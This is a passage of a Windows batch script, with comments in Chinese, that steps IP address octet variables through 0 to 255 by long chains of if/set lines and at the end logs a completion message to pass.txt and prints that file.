if "%ip2%"=="23" set ip2=24
if "%ip2%"=="22" set ip2=23
if "%ip2%"=="21" set ip2=22
if "%ip2%"=="20" set ip2=21
if "%ip2%"=="19" set ip2=20
if "%ip2%"=="18" set ip2=19
if "%ip2%"=="17" set ip2=18
if "%ip2%"=="16" set ip2=17
if "%ip2%"=="15" set ip2=16
if "%ip2%"=="14" set ip2=15
if "%ip2%"=="13" set ip2=14
if "%ip2%"=="12" set ip2=13
if "%ip2%"=="11" set ip2=12
if "%ip2%"=="10" set ip2=11
if "%ip2%"=="9" set ip2=10
if "%ip2%"=="8" set ip2=9
if "%ip2%"=="7" set ip2=8
if "%ip2%"=="6" set ip2=7
if "%ip2%"=="5" set ip2=6
if "%ip2%"=="4" set ip2=5
if "%ip2%"=="3" set ip2=4
if "%ip2%"=="2" set ip2=3
if "%ip2%"=="1" set ip2=2
if "%ip2%"=="0" set ip2=1
set ip4=0
set ip3=0
goto start

:if1
if "%ip1%"=="255" goto exit
if "%ip1%"=="254" set ip1=255
if "%ip1%"=="253" set ip1=254
if "%ip1%"=="252" set ip1=253
if "%ip1%"=="251" set ip1=252
if "%ip1%"=="250" set ip1=251
if "%ip1%"=="249" set ip1=250
if "%ip1%"=="248" set ip1=249
if "%ip1%"=="247" set ip1=248
if "%ip1%"=="246" set ip1=247
if "%ip1%"=="245" set ip1=246
if "%ip1%"=="244" set ip1=245
if "%ip1%"=="243" set ip1=244
if "%ip1%"=="242" set ip1=243
if "%ip1%"=="241" set ip1=242
if "%ip1%"=="240" set ip1=241
if "%ip1%"=="239" set ip1=240
if "%ip1%"=="238" set ip1=239
if "%ip1%"=="237" set ip1=238
if "%ip1%"=="236" set ip1=237
if "%ip1%"=="235" set ip1=236
if "%ip1%"=="234" set ip1=235
if "%ip1%"=="233" set ip1=234
if "%ip1%"=="232" set ip1=233
if "%ip1%"=="231" set ip1=232
if "%ip1%"=="230" set ip1=231
if "%ip1%"=="229" set ip1=230
if "%ip1%"=="228" set ip1=229
if "%ip1%"=="227" set ip1=228
if "%ip1%"=="226" set ip1=227
if "%ip1%"=="225" set ip1=226
if "%ip1%"=="224" set ip1=225
if "%ip1%"=="223" set ip1=224
if "%ip1%"=="222" set ip1=223
if "%ip1%"=="221" set ip1=222
if "%ip1%"=="220" set ip1=221
if "%ip1%"=="219" set ip1=220
if "%ip1%"=="218" set ip1=219
if "%ip1%"=="217" set ip1=218
if "%ip1%"=="216" set ip1=217
if "%ip1%"=="215" set ip1=216
if "%ip1%"=="214" set ip1=215
if "%ip1%"=="213" set ip1=214
if "%ip1%"=="212" set ip1=213
if "%ip1%"=="211" set ip1=212
if "%ip1%"=="210" set ip1=211
if "%ip1%"=="209" set ip1=210
if "%ip1%"=="208" set ip1=209
if "%ip1%"=="207" set ip1=208
if "%ip1%"=="206" set ip1=207
if "%ip1%"=="205" set ip1=206
if "%ip1%"=="204" set ip1=205
if "%ip1%"=="203" set ip1=204
if "%ip1%"=="202" set ip1=203
if "%ip1%"=="201" set ip1=202
if "%ip1%"=="200" set ip1=201
if "%ip1%"=="199" set ip1=200
if "%ip1%"=="198" set ip1=199
if "%ip1%"=="197" set ip1=198
if "%ip1%"=="196" set ip1=197
if "%ip1%"=="195" set ip1=196
if "%ip1%"=="194" set ip1=195
if "%ip1%"=="193" set ip1=194
if "%ip1%"=="192" set ip1=193
if "%ip1%"=="191" set ip1=192
if "%ip1%"=="190" set ip1=191
if "%ip1%"=="189" set ip1=190
if "%ip1%"=="188" set ip1=189
if "%ip1%"=="187" set ip1=188
if "%ip1%"=="186" set ip1=187
if "%ip1%"=="185" set ip1=186
if "%ip1%"=="184" set ip1=185
if "%ip1%"=="183" set ip1=184
if "%ip1%"=="182" set ip1=183
if "%ip1%"=="181" set ip1=182
if "%ip1%"=="180" set ip1=181
if "%ip1%"=="179" set ip1=180
if "%ip1%"=="178" set ip1=179
if "%ip1%"=="177" set ip1=178
if "%ip1%"=="176" set ip1=177
if "%ip1%"=="175" set ip1=176
if "%ip1%"=="174" set ip1=175
if "%ip1%"=="173" set ip1=174
if "%ip1%"=="172" set ip1=173
if "%ip1%"=="171" set ip1=172
if "%ip1%"=="170" set ip1=171
if "%ip1%"=="169" set ip1=170
if "%ip1%"=="168" set ip1=169
if "%ip1%"=="167" set ip1=168
if "%ip1%"=="166" set ip1=167
if "%ip1%"=="165" set ip1=166
if "%ip1%"=="164" set ip1=165
if "%ip1%"=="163" set ip1=164
if "%ip1%"=="162" set ip1=163
if "%ip1%"=="161" set ip1=162
if "%ip1%"=="160" set ip1=161
if "%ip1%"=="159" set ip1=160
if "%ip1%"=="158" set ip1=159
if "%ip1%"=="157" set ip1=158
if "%ip1%"=="156" set ip1=157
if "%ip1%"=="155" set ip1=156
if "%ip1%"=="154" set ip1=155
if "%ip1%"=="153" set ip1=154
if "%ip1%"=="152" set ip1=153
if "%ip1%"=="151" set ip1=152
if "%ip1%"=="150" set ip1=151
if "%ip1%"=="149" set ip1=150
if "%ip1%"=="148" set ip1=149
if "%ip1%"=="147" set ip1=148
if "%ip1%"=="146" set ip1=147
if "%ip1%"=="145" set ip1=146
if "%ip1%"=="144" set ip1=145
if "%ip1%"=="143" set ip1=144
if "%ip1%"=="142" set ip1=143
if "%ip1%"=="141" set ip1=142
if "%ip1%"=="140" set ip1=141
if "%ip1%"=="139" set ip1=140
if "%ip1%"=="138" set ip1=139
if "%ip1%"=="137" set ip1=138
if "%ip1%"=="136" set ip1=137
if "%ip1%"=="135" set ip1=136
if "%ip1%"=="134" set ip1=135
if "%ip1%"=="133" set ip1=134
if "%ip1%"=="132" set ip1=133
if "%ip1%"=="131" set ip1=132
if "%ip1%"=="130" set ip1=131
if "%ip1%"=="129" set ip1=130
if "%ip1%"=="128" set ip1=129
if "%ip1%"=="127" set ip1=128
if "%ip1%"=="126" set ip1=127
if "%ip1%"=="125" set ip1=126
if "%ip1%"=="124" set ip1=125
if "%ip1%"=="123" set ip1=124
if "%ip1%"=="122" set ip1=123
if "%ip1%"=="121" set ip1=122
if "%ip1%"=="120" set ip1=121
if "%ip1%"=="119" set ip1=120
if "%ip1%"=="118" set ip1=119
if "%ip1%"=="117" set ip1=118
if "%ip1%"=="116" set ip1=117
if "%ip1%"=="115" set ip1=116
if "%ip1%"=="114" set ip1=115
if "%ip1%"=="113" set ip1=114
if "%ip1%"=="112" set ip1=113
if "%ip1%"=="111" set ip1=112
if "%ip1%"=="110" set ip1=111
if "%ip1%"=="109" set ip1=110
if "%ip1%"=="108" set ip1=109
if "%ip1%"=="107" set ip1=108
if "%ip1%"=="106" set ip1=107
if "%ip1%"=="105" set ip1=106
if "%ip1%"=="104" set ip1=105
if "%ip1%"=="103" set ip1=104
if "%ip1%"=="102" set ip1=103
if "%ip1%"=="101" set ip1=102
if "%ip1%"=="100" set ip1=101
if "%ip1%"=="99" set ip1=100
if "%ip1%"=="98" set ip1=99
if "%ip1%"=="97" set ip1=98
if "%ip1%"=="96" set ip1=97
if "%ip1%"=="95" set ip1=96
if "%ip1%"=="94" set ip1=95
if "%ip1%"=="93" set ip1=94
if "%ip1%"=="92" set ip1=93
if "%ip1%"=="91" set ip1=92
if "%ip1%"=="90" set ip1=91
if "%ip1%"=="89" set ip1=90
if "%ip1%"=="88" set ip1=89
if "%ip1%"=="87" set ip1=88
if "%ip1%"=="86" set ip1=87
if "%ip1%"=="85" set ip1=86
if "%ip1%"=="84" set ip1=85
if "%ip1%"=="83" set ip1=84
if "%ip1%"=="82" set ip1=83
if "%ip1%"=="81" set ip1=82
if "%ip1%"=="80" set ip1=81
if "%ip1%"=="79" set ip1=80
if "%ip1%"=="78" set ip1=79
if "%ip1%"=="77" set ip1=78
if "%ip1%"=="76" set ip1=77
if "%ip1%"=="75" set ip1=76
if "%ip1%"=="74" set ip1=75
if "%ip1%"=="73" set ip1=74
if "%ip1%"=="72" set ip1=73
if "%ip1%"=="71" set ip1=72
if "%ip1%"=="70" set ip1=71
if "%ip1%"=="69" set ip1=70
if "%ip1%"=="68" set ip1=69
if "%ip1%"=="67" set ip1=68
if "%ip1%"=="66" set ip1=67
if "%ip1%"=="65" set ip1=66
if "%ip1%"=="64" set ip1=65
if "%ip1%"=="63" set ip1=64
if "%ip1%"=="62" set ip1=63
if "%ip1%"=="61" set ip1=62
if "%ip1%"=="60" set ip1=61
if "%ip1%"=="59" set ip1=60
if "%ip1%"=="58" set ip1=59
if "%ip1%"=="57" set ip1=58
if "%ip1%"=="56" set ip1=57
if "%ip1%"=="55" set ip1=56
if "%ip1%"=="54" set ip1=55
if "%ip1%"=="53" set ip1=54
if "%ip1%"=="52" set ip1=53
if "%ip1%"=="51" set ip1=52
if "%ip1%"=="50" set ip1=51
if "%ip1%"=="49" set ip1=50
if "%ip1%"=="48" set ip1=49
if "%ip1%"=="47" set ip1=48
if "%ip1%"=="46" set ip1=47
if "%ip1%"=="45" set ip1=46
if "%ip1%"=="44" set ip1=45
if "%ip1%"=="43" set ip1=44
if "%ip1%"=="42" set ip1=43
if "%ip1%"=="41" set ip1=42
if "%ip1%"=="40" set ip1=41
if "%ip1%"=="39" set ip1=40
if "%ip1%"=="38" set ip1=39
if "%ip1%"=="37" set ip1=38
if "%ip1%"=="36" set ip1=37
if "%ip1%"=="35" set ip1=36
if "%ip1%"=="34" set ip1=35
if "%ip1%"=="33" set ip1=34
if "%ip1%"=="32" set ip1=33
if "%ip1%"=="31" set ip1=32
if "%ip1%"=="30" set ip1=31
if "%ip1%"=="29" set ip1=30
if "%ip1%"=="28" set ip1=29
if "%ip1%"=="27" set ip1=28
if "%ip1%"=="26" set ip1=27
if "%ip1%"=="25" set ip1=26
if "%ip1%"=="24" set ip1=25
if "%ip1%"=="23" set ip1=24
if "%ip1%"=="22" set ip1=23
if "%ip1%"=="21" set ip1=22
if "%ip1%"=="20" set ip1=21
if "%ip1%"=="19" set ip1=20
if "%ip1%"=="18" set ip1=19
if "%ip1%"=="17" set ip1=18
if "%ip1%"=="16" set ip1=17
if "%ip1%"=="15" set ip1=16
if "%ip1%"=="14" set ip1=15
if "%ip1%"=="13" set ip1=14
if "%ip1%"=="12" set ip1=13
if "%ip1%"=="11" set ip1=12
if "%ip1%"=="10" set ip1=11
if "%ip1%"=="9" set ip1=10
if "%ip1%"=="8" set ip1=9
if "%ip1%"=="7" set ip1=8
if "%ip1%"=="6" set ip1=7
if "%ip1%"=="5" set ip1=6
if "%ip1%"=="4" set ip1=5
if "%ip1%"=="3" set ip1=4
if "%ip1%"=="2" set ip1=3
if "%ip1%"=="1" set ip1=2
if "%ip1%"=="0" set ip1=1
set ip4=0
set ip3=0
set ip2=0
goto start
:ok
cls
echo 程序运行完成从第一次运行到现在结果列表如下:
echo 本次测试结束于%date% %time% ------------->>pass.txt
type pass.txt
:exit